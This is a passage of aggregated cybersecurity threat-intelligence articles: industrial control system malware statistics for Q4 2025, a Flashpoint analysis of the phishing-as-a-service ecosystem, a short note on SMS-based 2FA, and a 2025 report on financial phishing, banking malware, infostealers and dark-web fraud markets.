These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

Percentage of ICS computers on which malicious objects from various sources were blocked

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

Blogs

Blog

The Phishing-as-a-Service Pipeline: How a Scalable Fraud Ecosystem Is Driving Global Attacks

In this post, we examine how phishing-as-a-service (PhaaS) has evolved into a structured cybercrime ecosystem, how threat actors collaborate across infrastructure, delivery, and monetization layers, and why this model continues to drive large-scale financial fraud targeting global organizations.

SHARE THIS:

Flashpoint Intel Team

April 10, 2026

Table Of Contents

Table of Contents

From Phishing Kits to a Service-Based Fraud Economy

MFA Bypass and AI Are Reshaping Phishing Capabilities

The PhaaS Pipeline: How the Ecosystem Operates

Infrastructure, Delivery, and Exfiltration Are Increasingly Specialized

From Credential Theft to Financial Monetization

A Distributed Ecosystem of Threat Actors

Law Enforcement Pressure Is Increasing, but the Model Persists

What This Means for Security Teams

Protecting Your Organization from the PhaaS Ecosystem

More

subscribe to our newsletter

Phishing is no longer a standalone tactic. It has matured into a service-based ecosystem where specialized actors provide each component of an attack lifecycle, from infrastructure and delivery to credential harvesting and cash-out.

Flashpoint analysts, working with partner financial institutions, have observed a growing number of PhaaS operations operating with a level of coordination and specialization more commonly associated with legitimate software platforms. These ecosystems bring together phishing kit developers, infrastructure providers, spam delivery services, and financially motivated actors into a single, scalable pipeline for fraud.

This shift has significantly lowered the barrier to entry for cybercriminals while increasing the scale, efficiency, and success rate of phishing campaigns.

From Phishing Kits to a Service-Based Fraud Economy

PhaaS emerged from early phishing kits into a full cybercrime-as-a-service model built on commercialization, modular tooling, and operational scalability.

Early phishing activity relied on standalone kits — basic login pages and scripts that allowed attackers to collect credentials. Over time, operators began centralizing these capabilities into subscription-based platforms offering hosting, domain management, campaign tooling, and ongoing support.

Modern PhaaS platforms now operate similarly to legitimate SaaS providers:

• Subscription-based pricing models
  
• Prebuilt templates for major brands and services
  
• Integrated delivery mechanisms (email, SMS, QR phishing)
  
• Real-time dashboards for campaign tracking and credential harvesting
  

This model has made sophisticated phishing accessible to low-skill actors. Kits can cost as little as US$10, while full platforms enable large-scale campaigns for relatively modest monthly fees.

MFA Bypass and AI Are Reshaping Phishing Capabilities

As organizations adopted multifactor authentication (MFA), PhaaS operators adapted.

Modern platforms increasingly rely on adversary-in-the-middle (AiTM) techniques, using reverse proxy infrastructure to intercept login sessions in real time. This allows attackers to capture not only credentials, but also MFA tokens and session cookies, effectively bypassing traditional authentication controls.

At the same time, AI is accelerating the scale and effectiveness of phishing campaigns.

Threat actors are using AI to:

• Generate convincing, localized phishing lures
  
• Clone brand interfaces with high fidelity
  
• Optimize campaigns through automated testing and iteration
  

This combination of MFA bypass and AI-driven automation has transformed phishing from a volume-based tactic into a precision-driven access vector.

The PhaaS Pipeline: How the Ecosystem Operates

What distinguishes modern phishing operations is not just tooling, but coordination.

A typical PhaaS campaign follows a structured lifecycle:

This pipeline is supported by a network of specialized providers, each responsible for a different stage of the attack lifecycle.

Infrastructure, Delivery, and Exfiltration Are Increasingly Specialized

Flashpoint analysis highlights how different actors focus on distinct parts of the ecosystem.

Infrastructure and Kit Development

Phishing kit developers provide increasingly sophisticated tooling, including:

• Reverse proxy (AiTM) capabilities for MFA bypass
  
• Anti-bot protections to evade researchers
  
• “Live panels” enabling real-time interaction with victims
  

Platforms such as GhostFrame, Rapid Pages, and MUH Pro Admin illustrate how these tools are being productized and distributed at scale.

SMS Delivery and Spoofing

Smishing has become a critical delivery vector.

Threat actors operate dedicated SMS gateway services capable of sending large volumes of messages via APIs or bulk uploads. Others actively seek advanced spoofing capabilities to bypass authentication controls such as SPF, DKIM, and DMARC, enabling phishing messages to appear legitimate at the protocol level.

Credential Exfiltration and Telegram Integration

Credential collection is increasingly automated and centralized.

Many campaigns exfiltrate stolen credentials directly to Telegram bots or channels, enabling real-time access to victim data. This infrastructure also allows for rapid scaling and coordination across actors participating in the same campaign or ecosystem.

From Credential Theft to Financial Monetization

The ultimate goal of PhaaS operations is monetization.

Stolen credentials are used to enable account takeover (ATO), which allows attackers to:

• Access financial accounts
  
• Lock out legitimate users
  
• Initiate fraudulent transactions
  
• Launch follow-on scams
  

Flashpoint analysis of actors such as “JUN JUN,” associated with the Squirtle group, illustrates how these operations extend into structured financial fraud and laundering.

Observed activity shows a progression from acquiring phishing logs (“fish material”) to targeting high-value accounts and ultimately laundering funds through complex mechanisms, including tax fraud and credit card repayment schemes designed to recycle illicit funds.

This highlights how phishing is only the entry point into a broader fraud pipeline.

A Distributed Ecosystem of Threat Actors

The PhaaS landscape is not controlled by a single group, but by a network of loosely connected actors and clusters.

Examples include:

• Fluffy Spider: Focused on large-scale infrastructure deployment and domain generation
  
• IVAN: A more exclusive, high-tier operation leveraging SEO poisoning and advanced evasion techniques
  
• Smishing Triad: A highly coordinated group conducting global SMS phishing campaigns
  
• System Bot: A modular phishing toolkit with credential harvesting and OTP bypass capabilities
  

These actors operate across different regions and languages but demonstrate comparable levels of technical capability and operational maturity.

Many of these groups function with enterprise-like structures, including support teams, affiliate models, and performance-based operations, further reinforcing the industrialization of phishing-driven fraud.

Law Enforcement Pressure Is Increasing, but the Model Persists

Recent takedowns, including operations targeting platforms such as Tycoon 2FA, demonstrate growing coordination between public and private sector defenders.

These efforts have:

• Disrupted infrastructure
  
• Increased operational costs for threat actors
  
• Accelerated collaboration between intelligence providers and law enforcement

However, the underlying PhaaS model remains resilient.

Even as major platforms are dismantled, operators frequently rebrand, migrate infrastructure, or fragment into smaller services. The demand for scalable, low-cost phishing capabilities continues to sustain the ecosystem.

What This Means for Security Teams

Phishing-as-a-service has evolved from a tactic to an ecosystem that industrializes fraud.

Flashpoint assesses that the increasing coordination between phishing kit developers, infrastructure providers, and financial fraud actors will continue to drive large-scale credential harvesting and account takeover activity targeting global organizations.

For defenders, this means that effective mitigation requires more than user awareness and traditional controls. Organizations must account for:

• MFA bypass techniques such as AiTM
  
• Rapid infrastructure rotation and evasion
  
• The integration of phishing into broader fraud and access broker pipelines
  

Protecting Your Organization from the PhaaS Ecosystem

Understanding how phishing ecosystems operate — from infrastructure and delivery to monetization — is critical for disrupting attacks before they result in fraud.

Flashpoint provides intelligence that helps organizations track phishing campaigns, identify emerging threat actors, and detect compromised credentials in real time. By correlating activity across the full attack lifecycle, security teams can better anticipate threats and respond before they escalate.

To learn how Flashpoint can support your team with actionable intelligence on phishing and fraud ecosystems, schedule a demo.

The post The Phishing-as-a-Service Pipeline: How a Scalable Fraud Ecosystem Is Driving Global Attacks appeared first on Flashpoint.

What is 2FA?

Two-factor authentication (2FA) offers a second layer of security to help protect an account from brute force, phishing, and social engineering attacks.

2FA requires an extra step for a user to prove their identity, which reduces the chance of a bad actor gaining access to their account or data. And since notifications are sent to verify the initial authentication via username and passwords, it also gives users and business the ability to monitor for potential indicators of a compromise.

Continue reading Why 2FA SMS is a Bad Idea in 2026 at Sucuri Blog.

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

An example of a post offering a database

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Examples of a post (top) and a site (bottom) offering payment cards

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Examples of a post (top) and a site (bottom) offering bank accounts

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

An example of a message offering compiled databases

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Examples of posts offering creation of phishing websites

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.